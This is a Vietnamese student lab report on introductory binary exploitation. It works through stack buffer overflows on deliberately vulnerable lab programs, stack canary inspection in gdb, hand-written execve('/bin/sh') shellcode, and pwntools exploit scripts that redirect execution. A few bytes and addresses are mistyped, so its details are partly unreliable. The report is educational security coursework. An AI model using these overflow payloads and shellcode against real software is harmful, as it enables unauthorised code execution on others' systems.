



## BÁO CÁO THỰC HÀNH

### Bài thực hành số 03: Nhập môn Pwnable

**Môn học:** Lập trình an toàn và khai thác lỗ hổng phần mềm

**Lớp:** NT521.N11.ATCL

**THÀNH VIÊN THỰC HIỆN (Nhóm xx):**

STT	Họ và tên	MSSV
1	Vũ Hoàng Thạch Thiết	20521957
2	Lê Viết Tài Mẫn	20521593

## MỤC LỤC

A. BÁO CÁO CHI TIẾT .....	2
1. Khai thác lỗ hổng buffer overflow cơ bản .....	2
a. Khai thác lỗ hổng buffer overflow khi không sử dụng canary .....	2
b. Cơ chế ngăn lỗ hổng buffer overflow với canary .....	3
2. Khai thác buffer overflow để truyền shellcode.....	6
a. Ví dụ khai thác buffer overflow để truyền code thực thi đơn giản .....	6
b. Viết shellcode .....	8
c. Bài tập khai thác buffer overflow để truyền và thực thi shellcode .....	10

## A. BÁO CÁO CHI TIẾT

### 1. Khai thác lỗ hổng buffer overflow cơ bản

#### a. Khai thác lỗ hổng buffer overflow khi không sử dụng canary

```
0804875b <check>:
804875b:      55                push    %ebp
804875c:      89 e5            mov     %esp,%ebp
804875e:      83 ec 18         sub     $0x18,%esp
8048761:      83 ec 08         sub     $0x8,%esp
8048764:      8d 45 e8         lea     -0x18(%ebp),%eax
8048767:      50                push    %eax
```

Từ hàm check thấy rằng  $\text{esp} - 0x18$  là cấp phát bộ nhớ stack 24 bytes. Old ebp chứa thêm 4 bytes nữa

Nên để ghi đè được địa chỉ trả về thì phải chuyển vào 28 bytes.

```
tai@tai:~/Desktop$ objdump -d app1-no-canary | grep get_shell
0804872b <get_shell>:
```

Địa chỉ của get\_shell là 080472b vì thế để chạy được hàm get\_shell thì ta phải ghi đè địa chỉ return address với địa chỉ của get\_shell

```

Open  [icon] *app1-exploit.py
~/Desktop

1 from pwn import *
2 get_shell = "\x2b\x87\x04\x08"
3 payload = "a"*28 + get_shell |
4 print(payload)
5 exploit = process("./app1-no-canary")
6 print(exploit.recv())
7 exploit.sendline(payload)
8 exploit.interactive()

```

Truyền 28 bytes bất kì vào stack sau đó truyền địa chỉ của get\_shell để ghi đè return address dưới dạng little endian.

Kết quả là khai thác thành công

```

taiman@TaiMan:~/Desktop$ python3 app1-exploit.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/taiman/.cache/.pwntools-
cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf
system-wide):
    [update]
    interval=never
[*] You have the latest version of Pwntools (4.8.0)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x04
[+] Starting local process './app1-no-canary': pid 5804
b'Pwn basic\n'
/home/taiman/Desktop/app1-exploit.py:7: BytesWarning: Text is not bytes; assuming ISO
-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
    exploit.sendline(payload)
[*] Switching to interactive mode
Password:Invalid Password!
Call get_shell
$ ls
app1-exploit.py  input  peda-session-app2-canary.txt
app1-no-canary  lab2_LapTrinhAnToan.zip  vul
app2-canary     peda-session-app1-no-canary.txt  vul.c
$ pwd
/home/taiman/Desktop
$

```

## b. Cơ chế ngăn lỗi hỏng buffer overflow với canary

Khi disas hàm main

```

0x0804857b <+0>:    push    ebp
0x0804857c <+1>:    mov     ebp,esp
0x0804857e <+3>:    push    ebx
0x0804857f <+4>:    sub     esp,0x18
0x08048582 <+7>:    mov     eax,DWORD PTR [ebp+0xc]
0x08048585 <+10>:   mov     DWORD PTR [ebp-0x1c],eax
0x08048588 <+13>:   mov     eax,gs:0x14
0x0804858e <+19>:   mov     DWORD PTR [ebp-0x8],eax
0x08048591 <+22>:   xor     eax,eax
0x08048593 <+24>:   call    0x8048420 <getuid@plt>
0x08048598 <+29>:   mov     ebx,eax
0x0804859a <+31>:   call    0x8048420 <getuid@plt>
0x0804859f <+36>:   push    ebx
0x080485a0 <+37>:   push    eax
0x080485a1 <+38>:   call    0x8048440 <setreuid@plt>
0x080485a6 <+43>:   add     esp,0x8
0x080485a9 <+46>:   push    0x80486a0
0x080485ae <+51>:   call    0x8048430 <puts@plt>
0x080485b3 <+56>:   add     esp,0x4
0x080485b6 <+59>:   push    0x80486aa
0x080485bb <+64>:   call    0x8048400 <printf@plt>
0x080485c0 <+69>:   add     esp,0x4
0x080485c3 <+72>:   lea     eax,[ebp-0x18]
0x080485c6 <+75>:   push    eax
0x080485c7 <+76>:   push    0x80486b4
0x080485cc <+81>:   call    0x8048460 <__isoc99_scanf@plt>
0x080485d1 <+86>:   add     esp,0x8
0x080485d4 <+89>:   push    0x80486b7
0x080485d9 <+94>:   lea     eax,[ebp-0x18]
0x080485dc <+97>:   push    eax
0x080485dd <+98>:   call    0x80483f0 <strcmp@plt>
0x080485e2 <+103>:  add     esp,0x8
0x080485e5 <+106>:  test    eax,eax
0x080485e7 <+108>:  jne     0x80485f8 <main+125>
0x080485e9 <+110>:  push    0x80486be
0x080485ee <+115>:  call    0x8048430 <puts@plt>
0x080485f3 <+120>:  add     esp,0x4
0x080485f6 <+123>:  jmp     0x8048605 <main+138>
0x080485f8 <+125>:  push    0x80486cd
0x080485fd <+130>:  call    0x8048430 <puts@plt>
0x080485ff <+135>:  add     esp,0x4

```

Từ địa chỉ 0x08048588 có truyền một giá trị từ gs:0x14 vào stack

Dự đoán giá trị canary được ở dưới return address sau stack.

Ebp - 0x8 chứa giá trị canary

Trước khi kết thúc hàm. Giá trị ô nhớ này sẽ được kiểm tra với giá trị ở gs:0x14. Nếu 2 giá trị khác nhau thì đã bị đã xảy ra lỗi buffer overflow.

Địa chỉ kiểm tra giá trị canary trước khi kết thúc hàm

```
0x0804860a <+143>: mov     edx,DWORD PTR [ebp-0x8]
0x0804860d <+146>: xor     edx,DWORD PTR gs:0x14
0x08048614 <+153>: je      0x804861b <main+160>
0x08048616 <+155>: call    0x8048410 <__stack_chk_fail@plt>
0x0804861b <+160>: mov     ebx,DWORD PTR [ebp-0x4]
0x0804861e <+163>: leave
0x0804861f <+164>: ret
```

Từ địa chỉ 0x0804860a Trở đi.

Xác định giá trị canary:

Cách 1:

Giá trị canary tại \$ebp - x

```
Breakpoint 1, 0x0804860a in main ()
gdb-peda$ x/wx $ebp - 0x8
0xffffd0f0:      0xa9846f00
```

Cách 2:

```
EAX: 0x0
EBX: 0x3e8
ECX: 0xf7fa69b4 --> 0x0
EDX: 0xa9846f00
ESI: 0xffffd1b4 --> 0xffffd375 ("/home/taiman/Desktop/app2-canary")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd0f8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffd0dc --> 0xffffd1b4 --> 0xffffd375 ("/home/taiman/Desktop/app2-canary")
EIP: 0x804860d (<main+146>: xor     edx,DWORD PTR gs:0x14)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x8048602 <main+135>: add     esp,0x4
0x8048605 <main+138>: mov     eax,0x0
0x804860a <main+143>: mov     edx,DWORD PTR [ebp-0x8]
=> 0x804860d <main+146>: xor     edx,DWORD PTR gs:0x14
0x8048614 <main+153>: je      0x804861b <main+160>
0x8048616 <main+155>: call    0x8048410 <__stack_chk_fail@plt>
0x804861b <main+160>: mov     ebx,DWORD PTR [ebp-0x4]
0x804861e <main+163>: leave
[-----stack-----]
0000| 0xffffd0dc --> 0xffffd1b4 --> 0xffffd375 ("/home/taiman/Desktop/app2-canary")
0004| 0xffffd0e0 ("hello")
0008| 0xffffd0e4 --> 0x6f ('o')
0012| 0xffffd0e8 --> 0xf7fa5000 --> 0x225dac
```

Giá trị của canary là 0xa9846f00

Sau mỗi lần debug thì giá trị của canary là khác nhau.

## 2. Khai thác buffer overflow để truyền shellcode

### a. Ví dụ khai thác buffer overflow để truyền code thực thi đơn giản

```

[
0x8048751 <get_shell+38>:  sub    esp,0xc
0x8048754 <get_shell+41>:  push   0x1
0x8048756 <get_shell+43>:  call   0x8048550 <exit@plt>
⇒ 0x804875b <check>:      push   ebp
0x804875c <check+1>:      mov    ebp,esp
0x804875e <check+3>:      sub    esp,0x18
0x8048761 <check+6>:      sub    esp,0x8
0x8048764 <check+9>:      lea    eax,[ebp-0x18]
[
]
0000| 0x55683984 → 0x8048839 (<main_func+135>:  sub    esp,0xc)

```

+ Trong hàm check() ta đã xác định được địa chỉ của câu lệnh tiếp theo sau khi hàm check() được gọi

```

Legend: code, data, rodata, value
0x0804876d in check ()
gdb-peda$ n
Password:AAAA

```

+ Dùng lệnh n cho đến khi nào tới hàm để nhập

```

0x8048780 <check+37>:  push   eax
[
]
0000| 0x55683958 → 0x8048aba → 0x32007325 ('%s')
0004| 0x5568395c ("h9hU|9hU")
0008| 0x55683960 ("|9hU")
0012| 0x55683964 → 0x0
0016| 0x55683968 ("AAAA")
0020| 0x5568396c → 0xf7ffda00 → 0x0
0024| 0x55683970 → 0xf7dd71a5 (<printf+5>:  add    eax,0x1cae4f)
0028| 0x55683974 → 0x8048831 (<main_func+127>: add    esp,0x10)
[
]
Legend: code, data, rodata, value
0x08048772 in check ()
gdb-peda$ 

```

+ Stack sau khi nhập

+ Ta thấy chuỗi “AAAA” được lưu vào địa chỉ 0x55683968 sẽ là địa chỉ bắt đầu để lưu trữ biến buf

```

0x08048772 in check ()
gdb-peda$ x/20wx 0x55683968
0x55683968:  0x41414141  0xf7ffda00  0xf7dd71a5  0x08048
0x55683978:  0x08048aef  0x000000f4  0x55685fe0  0x08048
0x55683988:  0x00000000  0x00000000  0xf4f4f4f4  0xf4f4f
0x55683998:  0xf4f4f4f4  0xf4f4f4f4  0xf4f4f4f4  0xf4f4f
0x556839a8:  0xf4f4f4f4  0xf4f4f4f4  0xf4f4f4f4  0xf4f4f

```

+ Tìm địa chỉ trả về

```
$1 = 32
gdb-peda$ p/d 0x55683984 - 0x55683968
$2 = 28
gdb-peda$
```

+ Số ký tự nhiều nhất có thể nhập

- Tạo mã thực thi

```
kali@kali: ~/Desktop
File Actions Edit View Help
movl $1, %eax
int $0x80
~0000|      → 0x00000000 → 0x32007325 ('%s')
~0004|      ("hhu(hhu")
~0008|      0x00000000
```

```
(kali@kali)-[~/Desktop]
$ gcc -m32 -c test.s -o test.o
(kali@kali)-[~/Desktop]
$ objdump -d test.o

test.o:      file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0:  b8 01 00 00 00      mov     $0x1,%eax
5:  cd 80              int     $0x80
(kali@kali)-[~/Desktop]
$
```

+ Tạo file .o để tạo các byte code thực thi

+ Do file cần khai thác là 32 bits nên có option -32 để tạo byte code ở dạng 32 bits

+ Để thực thi được các byte code chuẩn bị đưa vào stack, ta cần biết được địa chỉ cụ thể của nó ở đâu để có thể điều hướng chương trình đến vị trí đó

+ Tuy nhiên, địa chỉ này chỉ xác định khi chương trình chạy

+ Như đã tìm ở trên thì địa chỉ bắt đầu để lưu chuỗi sẽ là 0x55683968

```
kali@kali: ~/Desktop
File Actions Edit View Help
from pwn import *
byte_code = "\xb8\x01\x00\x00\x00\xcd\x80"
#byte_code = "\x80xcd\x00\x00\x00\x01\xb8"
#ret = "\x84\x39\x68\x55"
#ret = "\x55\x68\x39\x84"
ret = "\x68\x39\x68\x55"
payload = byte_code + "a"*21 + ret
print(payload) # In payload
exploit = process("./app1-no-canary")
print(exploit.recv())
exploit.sendline(payload)
exploit.interactive()
```

+ file code thực thi



+ Trong đó:

- Byte\_code: Những byte code thực thi sau khi đã biên dịch
- Ret: Địa chỉ lưu chuỗi đã nhập
- Payload: Cần đảm bảo ở đầu là những byte\_code thực thi và ở cuối là địa chỉ lưu chuỗi input

```
(kali㉿kali)-[~/Desktop]
$ python3 exploit.py
b'\xb8\x01\x00\x00\xcd\x80aaaaaaaaaaaaaaaaah9hU'
[+] Starting local process './app1-no-canary': pid 85581
b'Pwn basic\n'
[*] Switching to interactive mode
[*] Process './app1-no-canary' stopped with exit code 244 (pid 85581)
Password:Invalid Password!
[*] Got EOF while reading in interactive
$ ls
[*] Got EOF while sending in interactive
```

+ Kết quả: khi chạy file exploit thì chương trình thoát ra ngay chứ không in “End of program” hay “Segmentation Fault”.

## b. Viết shellcode

section .text

global \_start

\_start:

Push rax

# Đẩy tham số vào stack

Xor rdx, rdx

# rdx = null là tham số thứ 2 của exceve

Xor rsi, rsi

# rsi = null là tham số thứ 3 của exceve

Mov rbx, '/bin//sh'

# cho rbx = '/bin/sh'

Push rbx

# push '/bin/sh' vào stack. Rsp sẽ trở đến '/bin/sh'

Push rsp

#push giá trị rsp, push địa chỉ '/bin/sh'

Pop rdi

#rdx sẽ chứa tham số đầu exceve -> '/bin/sh'

Mov al, 0x3b

#syscall numver exceve

Syscall

+ Để biên dịch ta lưu code này vào 1 file .asm .Sau đó dùng lệnh sau để biên dịch

```
File Actions Edit View Help
(kali㉿kali)-[~/Desktop]
$ vim shellcode_Nhom19.asm
```



```
kali@kali: ~/Desktop
File Actions Edit View Help
section .text
global _start
_start:
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, '/bin//sh'
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
```

```
(kali@kali)-[~/Desktop]
$ nasm -f elf64 shellcode_Nhom19.asm -o shellcode_Nhom19.o

(kali@kali)-[~/Desktop]
$ ld shellcode_Nhom19.o -o shellcode_Nhom19

(kali@kali)-[~/Desktop]
$ ./shellcode_Nhom19
$ pwd
/home/kali/Desktop
$ ls
app1-exploit.py  peda-session-app1-no-canary.txt  shellcode_Nhom19.o  test.txt
app1-no-canary  shellcode_Nhom19                 test.o
hex2raw         shellcode_Nhom19.asm             test.s
$
```

+ Tạo shellcode: là các byte code thực thi vừa được biên dịch

```
(kali@kali)-[~/Desktop]
$ objdump -d shellcode_Nhom19

shellcode_Nhom19:      file format elf64-x86-64

Disassembly of section .text:

0000000000401000 <_start>:
401000:      50                push    %rax
401001:      48 31 d2          xor     %rdx,%rdx
401004:      48 31 f6          xor     %rsi,%rsi
401007:      48 bb 2f 62 69 6e 2f movabs  $0x68732f2f6e69622f,%rbx
40100e:      2f 73 68
401011:      53                push    %rbx
401012:      54                push    %rsp
401013:      5f                pop     %rdi
401014:      b0 3b            mov     $0x3b,%al
401016:      0f 05            syscall

(kali@kali)-[~/Desktop]
$
```

+ Dùng công cụ objdump để xem giá trị của byte code

+ Ta được chuỗi byte code:  
 \x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

+ Kiểm tra shellcode

```
kali@kali: ~/Desktop
File Actions Edit View Help
#include <stdio.h>
void main()
{
    unsigned char shellcode[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"; // insert above shell_code
    int (*ret)() = (int(*)())shellcode;
    ret();
}
```

+ Viết chương trình c để kiểm tra shellcode

```
(kali@kali)-[~/Desktop]
$ gcc -z execstack -o test_shell test_shell.c
(kali@kali)-[~/Desktop]
$ ./test_shell
$ pwd
/home/kali/Desktop
$ ls
app1-exploit.py      shellcode_Nhom19      test.s
app1-no-canary       shellcode_Nhom19.asm  test.txt
hex2raw             shellcode_Nhom19.o    test_shell
peda-session-app1-no-canary.txt  test.o                test_shell.c
$ whoami
kali
$
```

+ Biên dịch và chạy file

### c. Bài tập khai thác buffer overflow để truyền và thực thi shellcode

```
(kali@kali)-[~/Desktop]
$ ./demo
DEBUG: 0x7ffc9af01570
1234

(kali@kali)-[~/Desktop]
$ ./demo
DEBUG: 0x7fff42ca9f10
56789

(kali@kali)-[~/Desktop]
$ ./demo
DEBUG: 0x7ffca94ba6e0
01235
```

+ Ta thấy mỗi lần chạy chương trình thì nó sẽ xuất ra một địa chỉ khác nhau và cho ta nhập sau đó thoát chương trình

```
(No debugging symbols found in demo)
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000401132 <+0>:    push    rbp
   0x0000000000401133 <+1>:    mov     rbp, rsp
   0x0000000000401136 <+4>:    sub     rsp, 0x20
   0x000000000040113a <+8>:    lea     rax, [rbp-0x20]
   0x000000000040113e <+12>:   mov     rsi, rax
   0x0000000000401141 <+15>:   lea     rdi, [rip+0xebc]      # 0x402004
   0x0000000000401148 <+22>:   mov     eax, 0x0
   0x000000000040114d <+27>:   call    0x401030 <printf@plt>
   0x0000000000401152 <+32>:   lea     rax, [rbp-0x20]
   0x0000000000401156 <+36>:   mov     rdi, rax
   0x0000000000401159 <+39>:   mov     eax, 0x0
   0x000000000040115e <+44>:   call    0x401040 <gets@plt>
   0x0000000000401163 <+49>:   mov     eax, 0x0
   0x0000000000401168 <+54>:   leave
   0x0000000000401169 <+55>:   ret
End of assembler dump.
gdb-peda$
```

+ Sử dụng gdb để debug chương trình

```
No symbol table is loaded. Use the file command.
gdb-peda$ b * main+44
Breakpoint 1 at 0x40115e
gdb-peda$
```

+ Đặt break point tại main+44 là hàm gets()

```
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
   0x401152 <main+32>:  lea     rax, [rbp-0x20]
   0x401156 <main+36>:  mov     rdi, rax
   0x401159 <main+39>:  mov     eax, 0x0
⇒ 0x40115e <main+44>:  call    0x401040 <gets@plt>
   0x401163 <main+49>:  mov     eax, 0x0
   0x401168 <main+54>:  leave
   0x401169 <main+55>:  ret
   0x40116a:  nop     WORD PTR [rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0x7fffffffdf30 → 0x0
[-----stack-----]
0000| 0x7fffffffdf30 → 0x0
0008| 0x7fffffffdf38 → 0x0
0016| 0x7fffffffdf40 → 0x0
0024| 0x7fffffffdf48 → 0x0
0032| 0x7fffffffdf50 → 0x1
0040| 0x7fffffffdf58 → 0x7ffff7dd420a (<__libc_start_call_main+122>: mov edi, eax)
0048| 0x7fffffffdf60 → 0x0
0056| 0x7fffffffdf68 → 0x401132 (<main>:    push    rbp)
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040115e in main ()
gdb-peda$
```

```
Breakpoint 1, 0x000000000040115e in main ()
gdb-peda$ n
123456
[----- registers -----]
RAX: 0x7fffffffdf30 → 0x363534333231 ('123456')
RBX: 0x0
RCX: 0x7fffffff9fa80 → 0xfbad2288
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7fa1a60 → 0x0
RBP: 0x7fffffffdf50 → 0x1
RSP: 0x7fffffffdf30 → 0x363534333231 ('123456')
RIP: 0x401163 (<main+49>: mov eax,0x0)
R8 : 0x0
R9 : 0x0
R10: 0x5d (']')
R11: 0x246
R12: 0x7ffffffe068 → 0x7ffffffe3b7 ("/home/kali/Desktop/demo")
R13: 0x401132 (<main>: push rbp)
R14: 0x0
R15: 0x7ffff7ffd020 → 0x7ffff7ffe2c0 → 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[----- code -----]
0x401156 <main+36>: mov rdi, rax
```

+ Bấm n tới khi nào chương trình cho mình nhập

+ Ta nhập thử 123456 và thấy nó lưu ở địa chỉ 0x7fffffffdf30 đây sẽ là địa chỉ bắt đầu lưu chuỗi

```
0x40115e <main+44>: call 0x401040 <gets@plt>
0x401163 <main+49>: mov eax,0x0
0x401168 <main+54>: leave
⇒ 0x401169 <main+55>: ret
0x40116a: nop WORD PTR [rax+rax*1+0x0]
0x401170 <__libc_csu_init>: push r15
0x401172 <__libc_csu_init+2>: lea r15,[rip+0x2c97] # 0x403e10
0x401179 <__libc_csu_init+9>: push r14
[----- stack -----]
0000| 0x7fffffffdf58 → 0x7ffff7dd420a (<__libc_start_call_main+122>: mov edi,eax)
0008| 0x7fffffffdf60 → 0x0
0016| 0x7fffffffdf68 → 0x401132 (<main>: push rbp)
0024| 0x7fffffffdf70 → 0x100000000
0032| 0x7fffffffdf78 → 0x7ffffffe068 → 0x7ffffffe3b7 ("/home/kali/Desktop/demo")
0040| 0x7fffffffdf80 → 0x0
0048| 0x7fffffffdf88 → 0x946a7926cfb51c53
0056| 0x7fffffffdf90 → 0x7ffffffe068 → 0x7ffffffe3b7 ("/home/kali/Desktop/demo")
[-----]
Legend: code, data, rodata, value
0x0000000000401169 in main ()
gdb-peda$ x/20wx 0x7fffffffdf30
```

+ Địa chỉ trả về sẽ được lưu trong 0x7fffffffdf58

+ Độ dài chuỗi khai thác sẽ là 0x7fffffffdf58 - 0x7fffffffdf30 = 40 byte

+ Shellcode ta sẽ dùng lại của phần trên để gọi syscall exceve("/bin/sh", NULL, NULL)  
 \x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

Tham khảo mã nguồn của file **demo**:

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(void)
{
    char buffer[32];
    printf("DEBUG: %p\n", buffer);
    gets(buffer);
}
```

+ Ta xem mã nguồn của file demo thì thấy hàm printf() sẽ in địa chỉ của buffer sau đó sẽ đưa địa chỉ của buffer vào hàm gets() để lưu chuỗi ta nhập

+ Nên ý tưởng ta sẽ viết code khai thác truyền shellcode sau đó với những byte để tràn bộ đệm và cuối cùng là lấy địa chỉ buffer để có thể nhảy đến địa chỉ của buffer để truyền shellcode

```
0x401141 <main+15>: lea    rdi,[rip+0x40114d] # 0x40114d
0x401148 <main+22>: mov     eax,0x0
0x40114d <main+27>: call   0x401030 <printf@plt>
0x401152 <main+32>: lea     rax,[rbp-0x20]
0x401156 <main+36>: mov     rdi,rax
0x401159 <main+39>: mov     eax,0x0
0x40115e <main+44>: call   0x401040 <gets@plt>
GuesSED arguments:
arg[0]: 0x402004 ("DEBUG: %p\n")
arg[1]: 0x7fffffffdf30 -> 0x0
```

```
Breakpoint 1, 0x000000000040114d in main ()
gdb-peda$ fin
Run till exit from #0 0x000000000040114d in main ()
DEBUG: 0x7fffffffdf30
INSERT --
```

+ Kết quả của hàm printf() là in ra địa chỉ của buffer như ta đã biết

```
kali@kali: ~/Desktop
File Actions Edit View Help
from pwn import *
#ret = b"\x30\xdf\xff\xff\xff\x7f"
payload = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\xe\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"+ b'A'*16
r = process('./demo')

r.recvuntil("DEBUG: 0x")
address = r.recv(12)
print(address)
payload += p64(int(address,16))

r.sendline(payload) # sending payload
r.interactive()
```

+ Code khai thác

+ Giải thích

- Ta truyền payload là những byte shellcode như bài trên và 16 byte 'A' để buffer overflow

- Nhưng chưa biết được địa chỉ lưu chuỗi buffer nên ta cần dùng `r.recvuntil` để lấy địa chỉ sẽ được in ra theo như hàm `printf()`
- Sau đó sẽ cộng địa chỉ đó với payload vì đây là chương trình 64 bits và hệ điều hành theo little edian nên có hàm `p64(int(address,16))`

```
(kali㉿kali)-[~/Desktop]
$ checksec demo
[*] '/home/kali/Desktop/demo'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x400000)
RWX:       Has RWX segments

(kali㉿kali)-[~/Desktop]
$
```

+ Sau đó gửi payload và thực hiện khai thác

```
(kali㉿kali)-[~/Desktop]
$ python3 test.py
[+] Starting local process './demo': pid 10734
/home/kali/Desktop/test.py:6: BytesWarning: Text is not bytes; assuming ASCII,
no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("DEBUG: 0x")
b'7ffcd832d160'
[*] Switching to interactive mode

$ ls
app1-no-canary  demo-exploit.py  peda-session-app1-no-canary.txt  test.txt
core           exploit.py       peda-session-demo.txt
demo          hex2raw         test.py

$ INSERT --
```

+ Kết quả khai thác thành công

TÀI LIỆU THAM KHẢO